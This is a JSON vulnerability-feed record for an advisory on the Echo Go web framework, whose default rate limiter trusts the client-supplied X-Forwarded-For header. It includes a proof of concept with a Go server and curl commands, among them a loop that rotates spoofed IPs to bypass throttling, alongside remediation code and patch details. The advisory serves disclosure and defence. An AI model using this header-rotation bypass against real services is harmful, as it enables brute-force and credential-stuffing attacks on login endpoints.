{"id":"CVE-2026-118653","kind":"vulnerability","aliases":["CVE-2026-118653","GHSA-246p-cpwv-v3jq"],"related":[],"title":"Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration","description":"## Summary\n\nWhen `echo.New()` is used without explicitly setting `Echo#IPExtractor`, the `RealIP()` method falls back to reading the client-supplied `X-Forwarded-For` (or `X-Real-IP`) header without any proxy-origin validation. The default `RateLimiter()` middleware derives its per-client identifier from `ctx.RealIP()`, so an attacker can rotate arbitrary values in the `X-Forwarded-For` header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.\n\n## Affected Component\n\n- `context.go` — `(*Context).RealIP()` (lines 186–208), legacy fallback branch (lines 190–200)\n- `middleware/rate_limiter.go` — `DefaultRateLimiterConfig.IdentifierExtractor` (lines 46–58); `RateLimiter()` (lines 71–76)\n- `echo.go` — `New()` (lines 326–343), `IPExtractor` left `nil` by default\n\n## Description\n\n### `RealIP()` unconditionally trusts `X-Forwarded-For` when `IPExtractor` is unset\n\n`Context.RealIP()` (`context.go:186-208`) first checks `c.echo.IPExtractor`. When this field is `nil` (the default for `echo.New()`), it falls through to legacy behavior and returns the **first IP** from the `X-Forwarded-For` header — the position an attacker has full control over:\n\n```go\n// context.go:186-200\nfunc (c *Context) RealIP() string {\n    if c.echo != nil && c.echo.IPExtractor != nil {\n        return c.echo.IPExtractor(c.request)\n    }\n    // Fall back to legacy behavior\n    if ip := c.request.Header.Get(HeaderXForwardedFor); ip != \"\" {\n        i := strings.IndexAny(ip, \",\")\n        if i > 0 {\n            xffip := strings.TrimSpace(ip[:i])\n            xffip = strings.TrimPrefix(xffip, \"[\")\n            xffip = strings.TrimSuffix(xffip, \"]\")\n            return xffip   // ← attacker-controlled first IP\n        }\n        return ip\n    }\n    if ip := c.request.Header.Get(HeaderXRealIP); ip != \"\" {\n        ...\n        return ip          // ← also attacker-controlled\n    }\n    ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)\n    return ra\n}\n```\n\n### Rate limiter default identifier extractor calls `RealIP()` unconditionally\n\n`DefaultRateLimiterConfig` (`rate_limiter.go:46-58`) sets the identifier extractor to `ctx.RealIP()` with no guard for whether a safe `IPExtractor` is configured:\n\n```go\n// rate_limiter.go:46-58\nvar DefaultRateLimiterConfig = RateLimiterConfig{\n    Skipper: DefaultSkipper,\n    IdentifierExtractor: func(ctx *echo.Context) (string, error) {\n        id := ctx.RealIP()   // ← reads attacker-controlled header\n        return id, nil\n    },\n    ...\n}\n```\n\n`RateLimiter(store)` (`rate_limiter.go:71-76`) copies `DefaultRateLimiterConfig` directly:\n\n```go\n// rate_limiter.go:71-76\nfunc RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {\n    config := DefaultRateLimiterConfig\n    config.Store = store\n    return RateLimiterWithConfig(config)\n}\n```\n\nThe result is that the most common usage pattern — `e.GET(\"/path\", h, middleware.RateLimiter(store))` — produces a rate limiter whose per-client identifier is fully controlled by the requester.\n\n### Framework acknowledges the issue for IP extraction but the rate limiter carries no warning\n\n`ip.go:27` explicitly states the default is insecure:\n\n> \"Note: if you don't set `Echo#IPExtractor` explicitly, Echo fallback to legacy behavior, which is not a good choice.\"\n\nAnd `ip.go:117-119`:\n\n> \"In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility.\"\n\nThe `IPExtractor` mechanism (`ExtractIPDirect()`, `ExtractIPFromXFFHeader()`, `ExtractIPFromRealIPHeader()`) in `ip.go` exists precisely to close this gap. However, the `RateLimiter()` function and `DefaultRateLimiterConfig` have **no corresponding warning** and make no attempt to detect or flag that `IPExtractor` is unset, leaving operators who follow the standard rate limiter example silently exposed.\n\nThe test `TestRateLimiterWithConfig_defaultConfig` (`rate_limiter_test.go:181-226`) itself drives the rate limiter by setting `X-Real-IP` directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.\n\n### Full execution chain\n\n1. Server starts with `echo.New()` (no `IPExtractor` set) and `e.GET(\"/limited\", h, middleware.RateLimiter(store))`\n2. Attacker sends `GET /limited` with header `X-Forwarded-For: 1.2.3.4` — rate bucket for `1.2.3.4` consumed\n3. Attacker sends `GET /limited` again with `X-Forwarded-For: 1.2.3.4` — second token consumed; if burst is 1, next request would be 429\n4. Attacker sends `GET /limited` with `X-Forwarded-For: 5.6.7.8` — **new bucket created** for `5.6.7.8`, 200 OK returned\n5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served\n\n## Proof of Concept\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n    echo \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    // NOTE: IPExtractor deliberately NOT set — this is the default\n    store := middleware.NewRateLimiterMemoryStore(1)\n    e.GET(\"/limited\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"ok\")\n    }, middleware.RateLimiter(store))\n    e.Logger.Fatal(e.Start(\":1324\"))\n}\n```\n\n```bash\n# First request with IP 1.1.1.1 — consumes burst token\ncurl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited\n# HTTP/1.1 200 OK\n\n# Second request with same IP — rate limited\ncurl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited\n# HTTP/1.1 429 Too Many Requests\n\n# Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK\ncurl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited\n# HTTP/1.1 200 OK\n\n# Repeat indefinitely with rotating IPs — rate limit never triggers\nfor i in $(seq 1 100); do\n  curl -s -o /dev/null -w \"%{http_code}\\n\" -H \"X-Forwarded-For: 10.0.0.$i\" http://127.0.0.1:1324/limited\ndone\n# 200 200 200 ... (all 200, never 429)\n```\n\n## Impact\n\n- Attackers can make unlimited requests to any endpoint protected by `middleware.RateLimiter()` using the default configuration by rotating the `X-Forwarded-For` header\n- Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled\n- API abuse and credential stuffing are possible at arbitrary throughput\n- Any per-IP security control that relies on `ctx.RealIP()` with default configuration (access logging, geo-blocking, audit trails) is equally undermined\n\n## Recommended Remediation\n\n### Option 1: Require explicit `IPExtractor` configuration in `RateLimiter()` (preferred)\n\nThe `RateLimiter()` convenience function should detect when `IPExtractor` is not configured and either panic with a clear message or fall back to `ExtractIPDirect()` (direct-connection IP only):\n\n```go\n// rate_limiter.go — illustrative change\nvar DefaultRateLimiterConfig = RateLimiterConfig{\n    Skipper: DefaultSkipper,\n    IdentifierExtractor: func(ctx *echo.Context) (string, error) {\n        if ctx.Echo().IPExtractor == nil {\n            // Fall back to direct TCP peer address — safe for non-proxied deployments\n            host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)\n            if err != nil {\n                return ctx.Request().RemoteAddr, nil\n            }\n            return host, nil\n        }\n        return ctx.RealIP(), nil\n    },\n    ...\n}\n```\n\n### Option 2: Document and warn in `RateLimiter()` godoc\n\nAt minimum, add a prominent warning to the `RateLimiter()` and `DefaultRateLimiterConfig` documentation directing users to configure `Echo#IPExtractor` before using IP-based rate limiting, mirroring the guidance already present in `ip.go`.\n\n```go\n// RateLimiter returns a rate limiting middleware.\n//\n// SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads\n// X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor,\n// these headers are fully client-controlled and can be spoofed to bypass\n// rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or\n// echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware.\n// See https://echo.labstack.com/guide/ip-address for details.\nfunc RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.1.0: without `Echo#IPExtractor`, `Context.RealIP()` returns the address of the direct peer; the previous behavior is available as `LegacyIPExtractor`.\n\n`github.com/labstack/echo/v4` keeps its default for compatibility.\n\n## Workarounds\n\nConfigure `Echo#IPExtractor` for your deployment (`echo.ExtractIPDirect()` without a proxy, `echo.ExtractIPFromXFFHeader()` behind proxies, with `TrustIPRange` for proxies on public addresses), or set `RateLimiterConfig.IdentifierExtractor` to an identifier that clients cannot choose.","summary":"When Echo's IPExtractor is not set, the default rate limiter identifies clients by the X-Forwarded-For or X-Real-IP header, which the client controls. An attacker can rotate those values to get a fresh rate-limit bucket on every request and bypass IP-based throttling, including brute-force protection on login endpoints.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/labstack/echo/v5","fixed":["5.1.0"],"affected":"< 5.1.0","ecosystem":"go"},{"name":"github.com/labstack/echo/v4","fixed":[],"affected":">= 4.0.0, <= 4.16.2","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-290","echo","go","internet-facing-api","package","rate-limiting"],"not_affected_if":["custom-identifier-extractor","ipextractor-configured","no-rate-limiter-middleware"],"how_to_check":"- Search the Go source for `echo.New()` and `middleware.RateLimiter(` and check whether `IPExtractor` is set on the Echo instance before the middleware is used.\n- Check the module version with `go list -m github.com/labstack/echo/v5` (affected below `5.1.0`) or `go list -m github.com/labstack/echo/v4` (affected at `4.16.2` and below).\n- Send two requests with different `X-Forwarded-For` values to a rate-limited route; if both return 200 where the limit should trigger, the route is exposed.","fix":"- Upgrade `github.com/labstack/echo/v5` to `5.1.0` or later, which returns the direct peer address when no IPExtractor is set.\n- For `github.com/labstack/echo/v4`, no fixed version is stated in the sources; set `e.IPExtractor` explicitly (`echo.ExtractIPDirect()` without a proxy, `echo.ExtractIPFromXFFHeader()` behind trusted proxies) or set `RateLimiterConfig.IdentifierExtractor` to a value clients cannot choose.","status":"open","published_at":"2026-10-28T19:53:47+00:00","first_seen_at":"2026-10-28T19:56:29+00:00","triaged_at":"2026-10-28T19:56:43+00:00","updated_at":"2026-10-28T19:56:43+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-28T19:56:43Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `github.com/labstack/echo/v5` to `5.1.0` or later, which returns the direct peer address when no IPExtractor is set.\n- For `github.com/labstack/echo/v4`, no fixed version is stated in the sources; set `e.IPExtractor` explicitly (`echo.ExtractIPDirect()` without a proxy, `echo.ExtractIPFromXFFHeader()` behind trusted proxies) or set `RateLimiterConfig.IdentifierExtractor` to a value clients cannot choose.","reach":"internet","title":"Echo: default rate limiter trusts spoofable X-Forwarded-For header","impact":"medium","summary":"When Echo's IPExtractor is not set, the default rate limiter identifies clients by the X-Forwarded-For or X-Real-IP header, which the client controls. An attacker can rotate those values to get a fresh rate-limit bucket on every request and bypass IP-based throttling, including brute-force protection on login endpoints.","category":"package","nicknames":[],"who_cares":["go","echo","rate-limiting","internet-facing-api"],"confidence":0.85,"needs_auth":"no","worst_case":"unlimited requests bypass rate limits, enabling brute-force and credential stuffing","analyst_note":"Confirm the v4 fixed version (sources list fixed as ?) and the v5 release notes at https://github.com/advisories/GHSA-246p-cpwv-v3jq.","how_to_check":"- Search the Go source for `echo.New()` and `middleware.RateLimiter(` and check whether `IPExtractor` is set on the Echo instance before the middleware is used.\n- Check the module version with `go list -m github.com/labstack/echo/v5` (affected below `5.1.0`) or `go list -m github.com/labstack/echo/v4` (affected at `4.16.2` and below).\n- Send two requests with different `X-Forwarded-For` values to a rate-limited route; if both return 200 where the limit should trigger, the route is exposed.","needs_analyst":true,"not_affected_if":["ipextractor-configured","custom-identifier-extractor","no-rate-limiter-middleware"],"who_is_affected":"Applications using Echo's default rate limiter middleware without configuring IPExtractor or a custom IdentifierExtractor. Exposure is highest when the endpoint is reachable directly from the internet and protected by rate limiting for authentication or abuse prevention. Apps that set IPExtractor explicitly, or that use a non-IP identifier, are not affected by this flaw.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001176,"input_tokens":7137,"output_tokens":925,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-118653':18A,26A '-119':484C '-200':274C '-2026':17A,25A '-208':233C '-290':34B '-58':349C,368C '-76':393C,399C '/labstack/echo/v4':32A '/labstack/echo/v5':29A '/path':422C '0':303C '186':192C '190':198C '200':199C '208':193C '246p':21A '326':212C '343':213C '46':203C '58':204C '71':207C '76':208C 'acknowledg':442C 'affect':186C 'alreadi':508C 'also':330C 'api':40B 'arbitrari':159C 'articl':513C 'attack':75B,156C,267C,317C,332C,384C 'attacker-control':316C,331C,383C 'attempt':554C 'back':119C,289C 'backward':525C 'base':95B,183C 'behavior':251C,292C,475C,487C 'branch':196C 'brute':99B 'brute-forc':98B 'bucket':87B,178C 'bypass':5A,92B,180C 'c':276C 'c.echo':281C 'c.echo.ipextractor':236C,283C,286C 'c.request':287C 'c.request.header.get':295C,325C 'c.request.remoteaddr':336C 'call':344C 'carri':452C 'check':235C 'choic':481C 'client':57B,72B,124C,150C,433C 'client-suppli':123C 'close':538C 'common':418C 'compat':526C 'compon':187C 'config':405C,411C 'config.store':407C 'configur':15A,365C 'context':189C,277C 'context.go':188C 'context.go:186':232C,273C 'context.realip':231C 'control':73B,270C,318C,333C,385C,437C 'copi':394C 'correspond':549C 'cpwv':22A 'ctx':376C 'ctx.realip':153C,355C,381C 'cve':16A,24A 'cwe':33B 'default':14A,53B,143C,218C,243C,341C,459C,486C,522C 'defaultconfig':577C 'defaultratelimiterconfig':347C,370C,395C,406C,546C 'defaultratelimiterconfig.identifierextractor':201C 'defaultskipp':373C 'deriv':146C 'descript':219C 'detect':556C 'direct':396C 'e.get':421C 'echo':1A,35B,46B,113C,468C,471C,488C 'echo.context':377C 'echo.go':209C 'echo.middlewarefunc':404C 'echo.new':107C,245C 'endpoint':104B 'entir':185C 'error':379C 'everi':89B 'exampl':571C 'exist':535C 'explicit':111C,456C,470C 'expos':573C 'extract':447C 'extractipdirect':530C 'extractipfromrealiphead':532C 'extractipfromxffhead':531C 'extractor':343C,353C 'face':39B 'fall':118C,247C,288C 'fallback':195C,472C 'field':239C 'first':234C,255C,319C,492C 'flag':558C 'follow':566C 'forc':100B 'forward':10A,62B,128C,165C,225C,261C 'framework':441C 'fresh':83B,174C 'full':269C 'fulli':436C 'func':275C,375C,400C 'function':544C 'gap':540C 'get':81B 'ghsa':20A 'ghsa-246p-cpwv-v3jq':19A 'github.com':28A,31A 'github.com/labstack/echo/v4':30A 'github.com/labstack/echo/v5':27A 'go':36B,272C,366C,397C 'good':480C,517C 'guard':358C 'h':423C 'header':12A,69B,135C,167C,263C,386C,494C,499C 'headerxforwardedfor':296C 'headerxrealip':326C 'howev':541C 'id':380C,388C 'identifi':56B,151C,342C,352C,434C 'identifierextractor':374C 'includ':97B 'insecur':461C 'internet':38B 'internet-facing-api':37B 'ip':68B,94B,134C,182C,256C,294C,297C,300C,306C,320C,322C,324C,327C,329C,446C,498C,501C 'ip-bas':93B,181C 'ip.go':534C 'ip.go:117':483C 'ip.go:27':455C 'ipextractor':48B,114C,214C,228C,363C,469C,528C,560C 'issu':444C 'layer':504C 'leav':563C 'left':215C 'legaci':194C,250C,291C,474C 'limit':4A,44B,55B,86B,177C,340C,429C,451C,570C 'line':191C,197C,202C,206C,211C 'login':103B 'make':552C 'mechan':529C 'method':117C 'middlewar':145C 'middleware.ratelimiter':424C 'middleware/rate_limiter.go':200C 'might':507C 'net.splithostport':335C 'network':503C 'new':210C 'nil':216C,241C,282C,284C,389C 'note':462C 'notic':509C 'obtain':172C 'oper':564C 'origin':140C 'packag':41B 'pattern':420C 'per':149C,432C 'per-client':148C,431C 'posit':265C 'precis':536C 'produc':426C 'protect':101B 'proxi':139C 'proxy-origin':138C 'ra':334C,338C 'rate':3A,43B,54B,85B,176C,339C,428C,450C,569C 'rate-limit':42B,84B,175C 'rate_limiter.go:46':348C,367C 'rate_limiter.go:71':392C,398C 'ratelimit':144C,205C,390C,401C,543C 'ratelimiterconfig':371C 'ratelimiterstor':403C 'ratelimiterwithconfig':410C 'read':121C,382C,511C 'real':67B,133C,497C 'realip':116C,190C,220C,278C,345C 'reason':519C 'request':90B,170C,440C 'result':413C 'return':253C,285C,314C,321C,328C,337C,387C,409C 'rotat':77B,158C 'safe':362C 'see':489C 'set':51B,112C,350C,467C 'silent':572C 'skipper':372C 'sole':518C 'spoof':7A 'standard':568C 'state':457C 'store':391C,402C,408C,425C 'string':279C,378C 'strings.indexany':299C 'strings.trimprefix':309C 'strings.trimspace':305C 'strings.trimsuffix':312C 'summari':105C 'suppli':125C 'test':575C 'testratelimiterwithconfig':576C 'throttl':96B,184C 'trust':222C 'uncondit':221C,346C 'unset':230C,562C 'usag':419C 'use':109C 'v3jq':23A 'valid':141C 'valu':79B,160C 'var':369C 'via':6A 'warn':454C,550C 'whether':360C 'whose':430C 'without':110C,136C 'x':9A,61B,66B,127C,132C,164C,224C,260C,496C 'x-forwarded-for':8A,60B,126C,163C,223C,259C 'x-real-ip':65B,131C,495C 'xff':493C 'xffip':304C,308C,310C,311C,313C,315C","nicknames":[],"mitigations":[],"who_affected":"Applications using Echo's default rate limiter middleware without configuring IPExtractor or a custom IdentifierExtractor. Exposure is highest when the endpoint is reachable directly from the internet and protected by rate limiting for authentication or abuse prevention. Apps that set IPExtractor explicitly, or that use a non-IP identifier, are not affected by this flaw.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T19:53:47+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-246p-cpwv-v3jq","url":"https://github.com/advisories/GHSA-246p-cpwv-v3jq","severity":"medium","published_at":"2026-10-28T19:53:47+00:00","modified_at":"2026-10-28T19:53:50+00:00","first_seen_at":"2026-10-28T19:56:29+00:00","fetched_at":"2026-10-28T19:56:29+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-118653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118653","severity":null,"published_at":"2026-10-28T20:17:22+00:00","modified_at":"2026-10-28T20:17:22+00:00","first_seen_at":"2026-10-28T20:35:10+00:00","fetched_at":"2026-10-28T20:35:11+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}